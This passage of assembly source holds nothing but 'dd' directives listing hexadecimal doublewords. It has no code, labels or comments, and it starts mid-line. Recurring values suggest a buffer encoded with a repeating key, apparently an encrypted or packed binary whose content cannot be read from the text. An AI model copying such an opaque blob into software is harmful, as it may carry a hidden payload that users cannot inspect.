0E17BC427h dd 68F8D38Eh, 284E80CCh, 0FE49533Ah, 4FD13A13h, 5DB5BF59h dd 11D73256h, 0DED0525Ch, 5CB84D4h, 0D5BDDB50h, 70283256h dd 0C8C9D100h, 0D1EA88E5h, 0A8D0C69Ah, 0A658529Fh, 35B13256h dd 379285BBh, 3C679F95h, 0EAB13242h, 0B9E9AA85h, 0BD7B5765h dd 92FD4CFCh, 12E2C058h, 0BC7B4371h, 0ABB5F037h, 0D5BCDB36h dd 41E43256h, 0E6218AC9h, 0D8F36925h, 0E37BECE0h, 0FAC1CBDEh dd 5D586737h, 0EEB13256h, 0D6B02959h, 0D4BF51ACh, 8C5DB986h dd 4275B1AAh, 5DA2DB36h, 0FBF73256h, 8AA3489Fh, 0F8CD1597h dd 0A6323B50h, 4847AB9Dh, 74353D9Ch, 4FB13256h, 54585237h dd 0AAB13256h, 0BFA515FFh, 0E47F2ED7h, 0D5B132BEh, 306856h dd 731F9962h, 0BABABD59h, 52D13256h, 0AEB132D2h, 9D0E3D56h dd 0EE76CB37h, 0D5B132AEh, 0AF76CB56h, 75B132AAh, 7A82CA56h dd 433A54AFh, 0AEB13DBFh, 0EA244856h, 0B3E1FD18h, 238EBEABh dd 0C29E3AAEh, 853A5436h, 0DB48B930h, 210AB091h, 0AEB034F8h dd 58D13256h, 0ABB130DEh, 0B4EB6156h, 5E4FB936h, 0F4D753ADh dd 0B521A2ADh, 5DB13DD3h, 2DBECA56h, 57B1325Eh, 0ABB3B559h dd 0B4D13256h, 0E559C9D6h, 75B528D2h, 0B5F1CB56h, 5DB12AD6h dd 0AEA2DB56h, 17523256h, 54E6AEE1h, 3025DA87h, 7372DA60h dd 0B79A2AE8h, 534AB2B6h, 5E40B659h, 2DBE3256h, 57B1325Ah dd 0ABB7B359h, 53BE3256h, 0EAB13256h, 75A0DB16h, 0E5DA3256h dd 35725BD5h, 0F5A76901h, 0C0C11A91h, 2B8F3ECEh, 51BED9ADh dd 0EAB131E9h, 75B138BFh, 0A8210356h, 8FF3D9BDh, 0EED24C9Dh dd 0A756B2A3h, 960B5436h, 260E3D8Fh, 11305437h, 0F1BEB259h dd 0BAB131C1h, 5C3331AEh, 0A1B79A43h, 57B124D6h, 0ABA0DB56h dd 69043256h, 0BF99E077h, 0C21FDA2Dh, 644F7CFCh, 1D439254h dd 4C4AB2AAh, 54F9B659h, 28BE3256h, 0D5B1325Eh, 0EAB3B559h dd 14D13256h, 0B552C9D6h, 5DB3C9D2h, 0AEB9DB56h, 0EB533256h dd 0A3A535F2h, 54D7607Dh, 0E55255ADh, 75B22BD2h, 0DC495256h dd 3CE000E8h, 5B41D1D6h, 58C1C9D6h, 0ABB214D2h, 0D5B8DB56h dd 0E5563256h, 0FEC558FBh, 0DC942275h, 52D12CDDh, 0AEB134D7h dd 0C358B356h, 20E32773h, 3631538Fh, 0EAA2DBAEh, 0D33C3256h dd 0D0DF14Bh, 0B15361AEh, 0E7E6A4C7h, 3F080BCDh, 134AB2ABh dd 0D4E7B659h, 6A443256h, 0F1BE3768h, 0BAB1331Ah, 5DB13BBFh dd 16F90856h, 0A31D62D5h, 2B44F7E2h, 51BE1F68h, 0EAB13362h dd 230A52AAh, 0DAF87EFCh, 3B4FB930h, 0CF069FEDh, 3F8FB237h dd 0AAABB659h, 55D13256h, 0AAD0BEA3h, 75A6B359h, 0A8583256h dd 3FB13256h, 4C6C7F41h, 3B42DAD0h, 0C6AC530h, 0B7D2DC81h dd 5133CD9Bh, 15B79C2Ah, 0BAB4B559h, 0DCD73256h, 0CFF5629Dh dd 0BEAFB930h, 0ABB1325Ch, 0CEA3D2DCh, 9AC7376Ch, 92319843h dd 0B758C7AEh, 1FB13256h, 2E52EC97h, 81821548h, 8E8D800Fh dd 544AB330h, 5B353DBEh, 9CB13256h, 0BAB13253h, 8D882251h dd 0B03A54E3h, 0A4315236h, 0CA49533Ch, 3C41D5D6h, 0EAB13258h dd 1A9538Dh, 422B3137h, 8C0E4D0Ah, 2FD7D87Eh, 5871B3ADh dd 0ABB149D2h, 0CE3C3D56h, 8AB13256h, 9D628D59h, 0BAB13246h dd 9F7586C3h, 0ABBB63E5h, 22ECBBD0h, 1A97859Ch, 3CD1530Ch dd 0EAB13250h, 3DA9A731h, 36BE3BB0h, 5DB13257h, 2ABE67AAh dd 57B13257h, 0A123CDAAh, 0B5B79C2Dh, 0EAB13ABFh, 69022D56h dd 38F44416h, 9B3054D5h, 0F3D041C7h, 0ABF4BBAEh, 6C305236h dd 0C6D5D07Bh, 0EAB1B359h, 7AD03256h, 0DBD0F9E1h, 0A1CCB1A3h dd 58343D57h, 0AEB13253h, 0B58088DDh, 0C15834FEh, 0A0B13256h dd 8FBD267Dh, 30BFA560h, 91427A8Dh, 5352C3AAh, 72ACC03h dd 0ABB9B259h, 59BE3256h, 0EAB13254h, 0F73A5336h, 0BC1F4EEDh dd 5DB13BBFh, 51268F56h, 1953A747h, 9788FED0h, 0DC595266h dd 1DB13256h, 7EF348CFh, 726FF606h, 3BEF5336h, 0CEF9EBD7h dd 0D5BE6A37h, 0ABB137C7h, 0B4C48336h, 0E3D088DDh, 8C4434FEh dd 383ACE06h, 5B1F4EEDh, 0AEBDB959h, 0DFBE3256h, 0ABB13250h dd 0D5B1B259h, 0D6883256h, 7D595266h, 44B13256h, 6ACF05EFh dd 0C847D0FBh, 900ACE8h, 0ABB121BEh, 1AAE9D56h, 0D1F105CDh dd 0BD5A0B1Bh, 55B33564h, 0E6E4DA7Eh, 0AEB1BD59h, 36E83256h dd 853E3D0Eh, 0B5B13253h, 9B428D30h, 0CF3A53AEh, 0BC1F48FCh dd 5DB138BFh, 92559856h, 0E45DB6C1h, 2892418Dh, 7BCB98D4h dd 69BE2650h, 75B13257h, 0B586BBAAh, 5DB13CDBh, 0AEB8DB56h dd 0EFFE3256h, 338FB476h, 5CF46D8Bh, 0BA482211h, 0CE33B9AFh dd 0B5B79C2Ah, 5DB133DFh, 2CBECE56h, 57B13257h, 9BADB9A3h dd 0B47AB936h, 0B538CA0Eh, 0B758CB5Eh, 46B13252h, 5F497791h dd 47B13256h, 57B13253h, 0AF0C8987h, 0D5F0DB76h, 0E5D13256h dd 75B126D1h, 0BABEDB56h, 53973256h, 28A0CCFDh, 37BF1F8Bh dd 48770F1h, 8E0F54D1h, 0AF765342h, 75B133AEh, 0AE363D56h dd 0B4B13256h, 0AEB13259h, 0BEF12730h, 314D4BAh, 3AE08CE6h dd 6165BD57h, 0DBCB98ECh, 3832CB50h, 5B1F48FCh, 25BE5242h dd 57B13250h, 8539F9D7h, 5CD06754h, 0E5E05261h, 14E9C2E9h dd 0DAA175DFh, 0D6E8D59h, 98D68A30h, 0AF32530Fh, 91343D55h dd 29B13256h, 960AB091h, 75B334F8h, 3ABE3256h, 5DB13257h dd 0EE58CEAEh, 37B13256h, 0ABB139BFh, 0A763C156h, 0F346B656h dd 16977BDEh, 0DB69E3D6h, 0BD315236h, 0CE095493h, 903A534Fh dd 0A949B137h, 0D7F4BF59h, 2D13256h, 75B1325Eh, 7E3FD9D1h dd 596766DAh, 0FDCBFAE9h, 0D4D06B1Eh, 0A4B1CA2Bh, 0D5B1B8D2h dd 5CBECE56h, 15443310h, 4E7634EEh, 0DD18534Eh, 0A1B13256h dd 57B170D3h, 0CBF1C756h, 343054AAh, 69D09CEEh, 9CD137BEh dd 0BAB13246h, 0ECD8E378h, 20940C8Bh, 35882088h, 0DA9A4FADh dd 0D5B13EBEh, 1ACEB556h, 0BC7C3A80h, 31132354h, 8553B397h dd 0F78DAEBDh, 579ADB37h, 864D3256h, 0D5B132A9h, 0B305436h dd 15D18F9Bh, 4A3A5437h, 0B5325337h, 0AEBEDB53h, 0F5D53256h dd 0D13C8B6h, 0AEB6E3F2h, 0D99D24E4h, 75F4DB93h, 0E9483256h dd 5DB13ABFh, 9B1AA956h, 4B6697B9h, 102BB912h, 0DAB79C2Ah dd 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh, 250C4758h dd 0D1BE0152h, 0ABB1325Ch, 0D5383D36h, 61B13256h, 2E445388h dd 0BAB0B959h, 0F4483256h, 2EB13256h, 5722B759h, 0A8443256h dd 0D5BDDB90h, 0FCD43256h, 166D98ABh, 42EEA89Eh, 9D3282FDh dd 0AEBDDB53h, 0F8203256h, 4B1B13Eh, 4051F177h, 61D1F6BDh dd 0F7B25390h, 0BC1F4EEDh, 0D7BE7AAFh, 0AEB13249h, 57A8BC59h dd 0BF583256h, 35B13256h, 9EDAB117h, 0B29EDFFCh, 807BF41Ah dd 0EAB189E8h, 27EDCC8Ah, 0D6BE3A11h, 0ABB1325Eh, 550ECE36h dd 8BB0755Eh, 79F6BBAEh, 0BAB13ABFh, 7F752656h, 0CEC81BA7h dd 55C2DB4Eh, 0A5583256h, 56B13256h, 0E6BA4CF5h, 5AD2A3F5h dd 0D9FDE04Bh, 5269C56Eh, 0AEB125D7h, 57A3DB56h, 2C113256h dd 574BF298h, 2F346224h, 0EFB4D97h, 0CE50CFC1h, 5758F47Dh dd 0FBB13256h, 0FB77E4A0h, 0FFF77D44h, 0DA69C506h, 0EAB138DDh dd 0AD305256h, 9F0FAC68h, 0DED0FADDh, 0C8D13796h, 903CDAD7h dd 10333137h, 0B5B79C2Ah dd 0EAB7B959h, 0F3BE3256h, 0BAB13256h, 0B4F953AEh, 0AEB13245h dd 977B7690h, 0BF4F5670h, 0EF032587h, 0BE61A080h, 0FCD1385Ch dd 3EBE3A11h, 5DB1324Eh, 0AEB121BFh, 95810C56h, 7380CFB1h dd 0E25D7A38h, 79CDD58Dh, 0E9DBB7E9h, 0B6F6BBAEh, 850E3D36h dd 47D0F9DDh, 57B133E3h, 1BF8936h, 0DAE6718Ah, 0EAB132DCh dd 46D06B56h, 0FC3BC796h, 5DB6DB57h, 9F6C3256h, 69F8C26Eh dd 0A4319AAFh, 0D5B1D0D3h, 0FC3D3D56h, 9CB13256h, 0BAB13247h dd 98D10EA9h, 53DB9EE8h, 84148180h, 0B0DADAF8h, 0DA7731ABh dd 0EAB122D4h, 75BADB56h, 243D3256h, 0EBAD3BFFh, 0B0A0D4F6h dd 5571B110h, 0ABB121BFh, 549B6B56h, 5654A898h, 0A8EFC327h dd 440381E3h, 0A891AF0Ch, 465A8636h, 57B13245h, 7F77FCA3h dd 58491374h, 15953776h, 2CB1CF12h, 0E838AB62h, 0E6D06A0Eh dd 0AEB13257h, 586A39AFh, 0ABB11DD2h, 0DD3C3D56h, 8AB13256h dd 0F569B930h, 30D088A4h, 0F07418CCh, 4D31CB50h, 5B585257h dd 6B13256h, 0DEE0F094h, 39E0C8EFh, 13CC620Ch, 0DB0606E8h dd 0D44DF155h, 0A14D3A11h, 57B136D7h, 0F0E35256h, 0D9F6BB37h dd 0EA76DBAFh, 7B583256h, 13B13256h, 0CE60AA14h, 359F37F4h dd 0B0103B12h, 13D75204h, 6AD75914h, 1DD0A563h, 75B4DB8Eh dd 76F43256h, 782195D8h, 0AEB132A9h, 57A2DB36h, 0F47C3256h dd 291AE623h, 21D74A70h, 435FF294h, 0DCF9AAB5h, 9831618Dh dd 47D06AE0h, 57B1325Ah, 0C1A0286Dh, 0D5E00B6h, 9C8A819Ah dd 6758F47Dh, 8B13256h, 0DC488B8Eh, 597E19D5h, 7C61DDACh dd 2F513E2Ch, 0D46CA81h, 0EAB0B559h, 0F6483256h, 3DBE3096h dd 5DB13251h, 0B1518A36h, 0AED00446h, 0A4B975DFh, 0D5B133D6h dd 0AD38CA56h, 7D59525Ah, 7FB13256h, 5A6D9C29h, 4757664Ah dd 57B13245h, 33756889h, 0BF65FC25h, 48763703h, 0DA32567h dd 0E5E2E564h, 5358CA37h, 9FB13256h, 56BB072Ah, 362C4BCAh dd 0C3AEF2CFh, 6BBE53A1h, 75B13257h, 0A858FBAAh, 0D6B13256h dd 494CA76Ch, 7A7507A8h, 8F340B99h, 0EE748529h, 63BEF106h dd 75B13257h, 36BE67AFh, 5DB1325Ah, 0AEB7B359h, 0D9BE3256h dd 0ABB13256h, 5644DEDDh, 6ABECE92h, 75B13257h, 31BE52AAh dd 5DB13247h, 0AEB13EBFh, 0C034D856h, 0DD016201h, 0F7380723h dd 0EAB1DA12h, 0F4EB3256h, 14058BBCh, 5658CE50h, 0FFB13256h dd 0C18FEEA1h, 1A219480h, 5CBE3790h, 0EAB1324Bh, 75A6BA59h dd 0A8583256h, 0F1B13256h, 0B75BF175h, 0E4B71F93h, 5A0D5783h dd 0D456F5h, 8E0BB9D1h, 89B79C2Ch, 35BEFB65h, 5DB1325Ah dd 0AEB7B859h, 0DEBE3256h, 0ABB13256h, 0DAB10DD5h, 0EAB577D2h dd 723AC756h, 0BAB13ABFh, 0E57C056h, 11E66E06h, 5BC4CD6Fh dd 6B0F5436h, 8946B24Bh, 0E2C4CD37h, 75A7B259h, 38BE3256h dd 5DB13246h, 0AEB139BFh, 0A9477F56h, 4167B0E0h, 0E8AFE488h dd 3305206h, 389EE3CFh, 2C5953AAh, 3DB1325Eh, 0F535D9D7h dd 5CD0073Dh, 0B7343D96h, 0B5B13256h, 61D06AE4h, 4C58CB51h dd 53B13256h, 5DB1325Dh, 7F1E0257h, 0FF3A592Eh, 28998930h dd 0C1582691h, 0A3B13256h, 3C5D535h, 1208CB17h, 0F0E47002h dd 312F785Eh, 0BE572623h, 544ECD36h, 0D5B3B559h, 8BD13256h dd 154D77DFh, 404F8DDh, 51C4CD37h, 0AEB120BFh, 9C507856h dd 0D34A0D31h, 6A8760B3h, 0D47B5058h, 9C117CA2h, 0BAB13258h dd 8CF81F90h, 0AA327EA4h, 0CA61A3C8h, 0DE4E60F8h, 0DD393D5Eh dd 8AB13256h, 75B1B759h, 45D03256h, 553E3D61h, 0A1B13256h dd 57B130DEh, 43D05256h, 0D5B135B3h, 0E57139AEh, 75B11AD2h dd 0BABEDB56h, 0DFF23256h, 248818F7h, 0E95810DAh, 41D8FA3Eh dd 0D699DB31h, 0E0583256h, 0F8B13256h, 49C9BBEDh, 712E4D2Ah dd 52F4B95Ch, 57B138BFh, 3B2A2856h, 6756738Ah, 0D352E0BCh dd 8A333D51h, 42B13254h, 524D77A9h, 0AEB133DFh, 2832C756h dd 2FBE3252h, 0D5B1324Eh, 0E6CEB1A3h, 78353D56h, 0DAB13256h dd 0BB31DEDCh, 93585373h, 0ABB13256h, 544ECDEEh, 0D008CBA9h dd 0E5B13256h, 75B133DBh, 1142CB56h, 5DB137BFh, 61070756h dd 4558851Eh, 424ECDA9h, 0D5B13242h, 0BC10C4B0h, 7C9BA3EEh dd 0B94ECB49h, 0C2D4044Eh, 412800E4h, 52A14DD5h, 0AB30B659h dd 82D13256h, 6AEA5336h, 0F6D03BA1h, 0B5B72229h, 5DB196D3h dd 0AEB9DB56h, 6F733256h, 0CE552BBDh, 20F04403h, 0EABAB659h dd 0F4D13256h, 32A19BA7h, 8D063D12h, 0AAF6B937h, 57B139BFh dd 8D9FD56h, 2FD8CA5Bh, 0BDF53B37h, 15BD6DDDh, 36BECBDDh dd 5DB13250h, 0AEB1B259h, 0BED03256h, 0ABB133B6h, 0D5ACB359h dd 6BBE3256h, 75B13241h, 0BAB120BFh, 94D8EB56h, 1202550h dd 0F8B1B13Eh, 3E51F177h, 5EBAF6BDh, 61483611h, 66583E09h dd 23B13256h, 0F61B7085h, 0BF03BE2Ch, 33EE0464h, 68C186F7h dd 0A1583D77h, 8AB13257h, 75B137BEh, 9059A556h, 5E6449Ch dd 610E3D09h, 53F6B937h, 0A7EEB9AFh, 54D76436h, 0B32B3FBEh dd 146FB930h, 0B5B96D6Dh, 5DB188D3h, 0A33F3D56h, 0BEB13256h dd 0ABB1325Eh, 7BE75DF1h, 5CEDD303h, 75B9DB04h, 0F8F63256h dd 0F5D2CE40h, 0F93A3CB8h, 57A2DB52h, 0FAF03256h, 5A9F83DEh dd 0EA47C5CDh, 0C81BD60Eh, 262BADABh, 57373DFEh, 0CEB13256h dd 3A0804EFh, 733A5417h, 0C5E41937h, 0FEE431A3h, 79EEB9AEh dd 0BABFDA36h, 45083256h, 0F041454Ah, 0C360A158h, 0B50F956Ah dd 0CC096DAFh, 8BE18610h, 0F8BEE87Dh, 0BAB1325Eh, 5DB3B559h dd 0CFD13256h, 37B4D9D5h, 5ED09DE6h, 0B3D1520Ch, 8180FBD7h dd 0CBD0E1DDh, 0AD76F68Bh, 5D31DB37h, 0BA583256h, 4FB13256h dd 0FBC03FA4h, 86ACC41Ch, 74118C27h, 42D8BC3h, 317AF887h dd 57583611h, 0B6B13256h, 786A4D8Eh, 3A9725F3h, 0D9EEB9DEh dd 0EAB13ABFh, 0AC4F9156h, 73079512h, 59EE19D3h, 0AEBDDB36h dd 0ACD93256h, 2E467275h, 0AA7CBC44h, 830B4B0h, 78DC5C38h dd 0BF5AB137h, 5DB138BFh, 0BEB99156h, 3582A106h, 0A8AB2CABh dd 7D80A7DCh, 0EABDDB50h, 0CCF43256h, 6E75A4BAh, 2E54098Eh dd 0D1326753h, 0D2BE3146h, 0ABB1324Dh, 0D5A2B159h, 0E4583256h dd 90B13256h, 9DAB2B1Fh, 0E9F3DF59h, 2C86AF0Dh, 7C49735Bh dd 0ABA0DB8Fh, 0F99E3256h, 405552Ch, 0FB6420F4h, 0ACC77158h dd 3D9E6EDEh, 924288E8h, 0DB51B348h, 0CA88DF89h, 0D4B06EDFh dd 0AB678B36h, 0B2304F68h, 8F1097CFh, 0A209CB37h, 524ECDA9h dd 91063D36h, 0ABB48B37h, 26493256h, 0EABEDBFDh, 665A3256h dd 346675B8h, 0AC4C156Eh, 0A4E183C4h, 0ABC2DB88h, 0A058CDA9h dd 0EEB13256h, 0BCD9DE3Dh, 56EFADB7h, 4FD06563h, 55303D9Fh dd 0A1B13256h, 57B130DEh, 69D05256h, 0C5583246h, 44B13256h dd 7FD9D256h, 0CBD15A90h, 0EDE95EFBh, 0FB7F7F58h, 57BBBF59h dd 0A4D13256h, 0D5B132DDh, 8BEE6056h, 7D58DEDDh, 0F3B13256h dd 3503DF69h, 2D0ADEFAh, 374DCE92h, 0ABB13CBFh, 7A0F7456h dd 74C25A29h, 6E409690h, 52307685h, 5DB13256h, 6D5BB30Ch dd 0BEB79CEFh, 0ABB13258h, 8F0E1004h, 6C42A872h, 60E63089h dd 0B4587611h, 0BFB13256h, 8614546Ch, 34821028h, 0B44FC347h dd 0B10BB912h, 3B79C2Ch, 75B13245h, 32E4FD2Fh, 0C62D6903h dd 6D858954h, 49227F13h, 98019286h, 0EA32CB9Fh, 4A353D56h dd 7AB13255h, 0BAB133D6h, 5A3ACE56h, 0AEB13BBFh, 0CC0AF556h dd 0EAD7AC45h, 0A04E9C9Fh dd 0EABBDB5Ah, 0F6273256h, 0E39BF3C0h, 57B9EC8h, 56B947A9h dd 67095206h, 42A4A5C7h, 0D5B13244h, 0CF745308h, 0BCC07695h dd 883195A8h, 0C8412699h, 46D0ECADh, 57B131DBh, 53063D36h dd 0D5B1B259h, 3D03256h, 75B13250h, 0F57EA1DAh, 9DBA804Bh dd 0AE97B759h, 0D3BE3256h, 0ABB13257h, 29B6B9A3h, 0EAB6B559h dd 13D13256h, 6C3AF0DDh, 5DAFDB37h, 22BE3256h, 57B13252h dd 0CAEE6536h, 0B5A5F5D5h, 0EAB1B159h, 0FED73256h, 0F558538Ch dd 0A14ECDA9h, 474D77DFh, 57B1325Ch, 7A2BE0DDh, 2B1DE0EBh dd 9F4E98FAh, 0C2BE525Ah, 61305497h, 0A2D03F1Fh, 0A8583A23h dd 0C3B13256h, 88D5233Ah, 2D86CDEDh, 0EAB232BEh, 0B5BACE56h dd 0BA92B659h, 0D8BE3256h, 0AEB13257h, 551CDBAAh, 42493256h dd 0D5B13247h, 8D53B61Bh, 0E63C0FFAh, 0A4D1FD08h, 934F8C51h dd 52F4B9EFh, 58B60BAFh, 0ABB3B8D4h, 0D5A3DB56h, 6FBA3256h dd 6EA72978h, 34B933A8h, 0E42B989Dh, 83C7C1Dh, 374D77A9h dd 5C063DA3h, 0AA32CA37h, 6EBE3252h, 75B13272h, 0B6CEB1A3h dd 44353D56h, 56B13256h, 57B1B3BFh, 0A6313D56h, 3CB13256h dd 0EAB1325Eh, 0BAE2415Dh, 0F0783759h, 0A24ECDEEh, 0AEA2DBA9h dd 23843256h, 0BC8D56DAh, 0DE103721h, 2CE407BFh, 0E2952F37h dd 0BAB48B8Ah, 0B4D13256h, 0AEB13246h, 0AA431ADFh, 2F8A3BB8h dd 0D2692296h, 5E67F65Eh, 75B139BFh, 9E3BF356h, 867C201Ch dd 3C44CD3h, 371AC137h, 0C341B330h, 1630549Ch, 3D0F037h dd 8A4ECCACh, 0BAB9DB36h, 0E3873256h, 0A6A967C9h, 0A031D899h dd 0D43253DFh, 51BE3746h, 0EAB132D8h, 65CEB1AEh, 56343D50h dd 52B13256h, 0AEB13DD9h, 57BBDB56h, 28A03256h, 9A8C146Dh dd 15734Dh, 154D5217h, 0DBD16800h, 1A3A5337h, 0BE585252h dd 81B13256h, 0D966F927h, 0A0C50E05h, 547CE0Dh, 131BF60Ah dd 100AF1D7h, 51EEB937h, 0AEA0BB59h, 5B583256h, 5DB13256h dd 0FD56F5A6h, 0CD350246h, 9C0F791Fh, 0BAB13352h, 52323D36h dd 46B13256h, 57B1325Fh, 0B111A8CDh, 987E535Eh, 8B496C53h dd 75B9B459h, 3BBE3256h, 5DB13254h, 0E93A5336h, 57BEDB52h dd 0BA353256h, 354467Ah, 0C39C14FDh, 3BD9A6FBh, 0B6EEB95Ah dd 0B4D152AAh, 0AEB13245h, 7BDD73C5h, 3A7B6517h, 0F6D89132h dd 2888AF8h, 9CF5231Ah, 0BAB1325Ah, 0C2F7EA4Fh, 5F20133Bh dd 0CEBD7B28h, 0C24A8837h, 3CD00345h, 0EAB13222h, 75B120BFh dd 0FBA68456h, 30C333DEh, 4149D180h, 3453EF8h, 2073EC68h dd 3CD13611h, 0EAB1325Dh, 9245AF10h, 0FFB2E8D9h, 3B0699DBh dd 0CF86E7EDh, 0AFBD6DDDh, 0CBB56D7Dh, 2F838930h, 0EF5AB137h dd 75B134BFh, 0FF9FF556h, 0DE57F2DCh, 0A1B22229h, 57B12DD3h dd 0ABBEDB56h, 821C3256h, 6A3B3750h, 1DABB2A9h, 9383612h dd 58587310h, 0B6B13256h, 3C7736Bh, 0BA58EB7Dh, 0BCB13256h dd 36D7B170h, 1375AA89h, 175A4E49h, 40C9C98h, 0AFB06EDFh dd 57B6B559h, 22BE3256h, 0D5B13257h, 154E8AAEh, 0F8BECDA9h dd 0BAB13240h, 5DB123BFh, 11572456h, 9124EFA8h, 750E34F7h dd 3803A2C7h, 0EF082891h, 15B13256h, 0B54A8559h, 5DB137D0h dd 2918856h, 37D03C49h, 0F94A8D59h, 7E42530Eh, 17ADDBAEh dd 1448CDA9h, 38BEFBA3h, 5DB1324Fh, 0AEB126BFh, 6B19E356h dd 0B7EB75ADh, 0C42FB66Fh, 4598970h, 26E04818h, 0BAB9F0D3h dd 5DB126BFh, 0AB165B56h, 86F59147h, 81698FF1h, 232B0BCCh dd 0DC3A0B7Bh, 7AD167D0h, 34BEF1E9h, 5DB1325Ah, 0AEB135BFh dd 2A5A056h, 88989959h, 0B7055237h, 0BC71B330h, 993A5356h dd 7E32CEAEh, 5DA3DBAAh, 62893256h, 59FACB45h, 0BD2F7160h dd 0BFF84676h, 0A6C0635Eh, 75A0DB36h, 0F5183256h, 6DE2F481h dd 0FCFC7857h, 0ED2302B8h, 0CB4E6032h, 0B467B930h, 3B977DDh dd 75B13258h, 0BAEC5085h, 2D9018AFh, 78C6E040h, 128AB3C3h dd 0F0333D5Ah, 0B5B13256h, 34AB930h, 75B13253h, 0EB7F748Fh dd 188A5309h, 0ED363D46h, 0BEB13256h, 0ABB13246h, 0F8158007h dd 8256B579h, 31BCA5DDh, 747A305Dh, 5D4D7791h, 0A1B13256h dd 57B127D4h, 0ABA1DB56h, 0E7E03256h, 0CD5E7520h, 9268811Ch dd 3B42D98Ch, 715885A3h, 0A1B13256h, 57B133D2h, 0EE76C756h dd 0D5B133AAh, 0E358C756h, 8AB13256h, 0C21E782h, 0CCB37B6Ah dd 0AEB138BFh, 57B4DB56h, 6DAE3256h, 0B4E67B3Dh, 3C3A5436h dd 0FED038E4h, 3DBECE13h, 5DB1324Dh, 0AEA4B659h, 47583256h dd 43B13256h, 84CB7CB8h, 0EF17B705h, 0A3D82E3Ch, 733926D1h dd 5DBEDA36h, 13223256h, 426268BAh, 0A8F9B99Dh, 96F97925h dd 0B376B91Eh, 75B3B159h, 0DBD13256h, 5DBDF037h, 0AEB13DBFh dd 0CD0DCA56h, 865C22CDh, 6964EAC8h, 858FF517h, 75B122BFh dd 0FA37056h, 37FFEC44h, 87C3B741h, 0F7F7D172h, 0CDD16740h dd 0B33443EDh, 8B2F53EEh, 0F644DEDDh, 0DA48CE92h, 0DE0E5436h dd 0FF0B5449h, 0DCD7539Fh, 0CBD15380h, 0D5B123BFh, 7389F256h dd 85413B43h, 37F5BDA7h, 1C28CEE2h, 46D0F16Ch, 57B13256h dd 5BB30Ch, 3CB79CE9h, 0EAB13242h, 9222B60Ah, 9336E372h dd 4B0BA671h, 87A3DC32h, 94FA6E52h, 27BECA36h, 0D5B13253h dd 6057B330h, 7B58535Fh, 0E7B13256h, 49086FF3h, 949F501Ch dd 8065A30Ch, 0FC445263h, 0D5B13ABFh, 46F99C56h, 246B071Ah dd 89D06865h, 8682CB9Fh, 0AE9FB959h, 0BFD13256h, 0ABB13247h dd 57EB2736h, 5CCBC744h, 2AA93070h, 0FA12DF80h, 4D586C21h dd 26B13256h, 0C5585CCDh, 4009528Fh, 2FC6E4CFh, 8B52D139h dd 9C4D6FDFh, 0BAB13247h, 2CC00EA8h, 0C4EE0E3Ah, 44AB5F98h dd 0E02321B9h, 0B10BB93Fh, 3B79C2Ch, 75B1325Eh, 16BB1CE4h dd 0C88CB6C0h, 0A1B10DD5h, 57B39AD2h, 1CE05256h, 0AB086D07h dd 8BAA0E09h, 0BE3A5436h, 0BAB2B659h, 8F313256h, 913253F9h dd 0C343DA9h, 52B13256h, 0B5A5F5D5h, 0EAB13FBEh, 3F4C4456h dd 0FAE32527h, 4C0522DAh, 0A65876AAh, 69B13256h, 0B90A12B5h dd 8BDEFE02h, 5393EBD7h, 7AD06BC6h, 0BAB121DAh, 5DBFDB56h dd 7BB13256h, 55DC762h, 0DEB278C1h, 208324C6h, 154EB9BFh dd 7E383DA9h, 0DAB13256h, 5DB1BD59h, 63313256h, 2832532Fh dd 2FBE3252h, 0D5B1323Dh, 0EABCDBAFh, 0B4FD3256h, 4E34F56h dd 4CEE7B55h, 2D87C423h, 58B13E29h, 0ABB17CD2h, 0D5A0DB56h dd 0FA583256h, 4C473C5Dh, 97A67098h, 78657D46h, 0A1BA746Ah dd 57B127D4h, 0CAD15256h, 0D5B13EBFh, 787DBB56h, 40FEE5C8h dd 57145F8Dh, 7B5853E6h, 0A1B13256h, 57B123D8h, 0ABBDDB56h dd 37463256h, 8EFCCE3Eh, 244289C9h, 4548799Ch, 0DE4DCE13h dd 474D2691h, 0A84ECCAEh, 0BBCEB1AAh, 0AC353D53h, 3B13256h dd 75B1325Ch, 15CB9607h, 35C93AADh, 0D13227E4h, 0D2BE3446h dd 0ABB132E6h, 0D5B13EBFh, 9C92B56h, 2C0A0F6Ch, 1FF3B6FBh dd 4F58739Ah, 2BB13256h, 0EF963F76h, 0CFDD6B9Eh, 156314Ah dd 19B3118Bh, 71F6B958h, 0E14E8836h, 0DCD711EEh, 0CF6B5CA0h dd 58BD6DDDh, 0ABB12BDDh, 0C5585256h, 56B13256h, 19B86BD9h dd 93EDB062h, 0F46F35A8h, 0FFAF471Fh, 8858530Dh, 57B13256h dd 3CB575DDh, 0EAB13242h, 0DE1582D8h, 226673FAh, 0F77D931Ah dd 113430A3h, 31F3C5D1h, 0A4BD6DDDh, 0D5B12AD0h, 0EAA2DB56h dd 26463256h, 3CFC8445h, 5846F257h, 35260B77h, 0BA2A6FE9h dd 0AB28DB00h, 0DC583256h dd 99B13256h, 467940FCh, 0FD4C07D7h, 0B4B575DDh, 0AEB13246h dd 748978FCh, 29FA6F79h, 5CE4B40Fh, 9D7A6354h, 15BD6DDDh dd 0BC323DAAh, 52B13256h, 0AEB132DBh, 7C4D5356h, 2DBE3609h dd 0D5B1325Eh, 8CEB6036h, 149A68EEh, 0B5B4D9D5h, 5DB133D1h dd 0A758CA56h, 0CB13256h, 0A0A173Bh, 0E2C89437h, 0E9A14DD5h dd 759CB759h, 0DAD13256h, 823A6D07h, 0AEA2DB37h, 9FE23256h dd 67BFB33Ch, 0BE9B59DFh, 0A2159D0Bh, 7FD0EFA4h, 3D153E3h dd 2449B4D1h, 7A628C30h, 7C4D7337h, 0F738C78Fh, 6D4D3357h dd 154ECDA9h, 75B122BFh, 1C094756h, 0D286B2C4h, 0B02784FCh dd 0A177622Bh, 0ABB48B17h, 26493256h, 8358CAFDh, 154ECDABh dd 3A4FB930h, 52D01D83h, 0AEB13ED3h, 51353D56h, 0A4B13256h dd 0D5B132DDh, 61445356h, 13D1CE13h, 0E83EFAD7h, 94D0ECDDh dd 40F5436h, 57A3DBFFh, 0EBA3256h, 74C7CADh, 0C3BA53BAh dd 39FF9A95h, 7B608469h, 3DD1F137h, 0D75DDE8h, 8E085429h dd 0FBD05332h, 0D5B13ABFh, 1AE1956h, 8275B5D0h, 53D1638Fh dd 5DB13258h, 85842DA3h, 9F2827BFh, 0A013A336h, 63030A6h dd 0AC313238h, 78586137h, 47B13256h, 2D1E9BEAh, 83B89AA2h dd 3B2269D4h, 0ABB132BEh, 3F306856h, 0EC1FF1C6h, 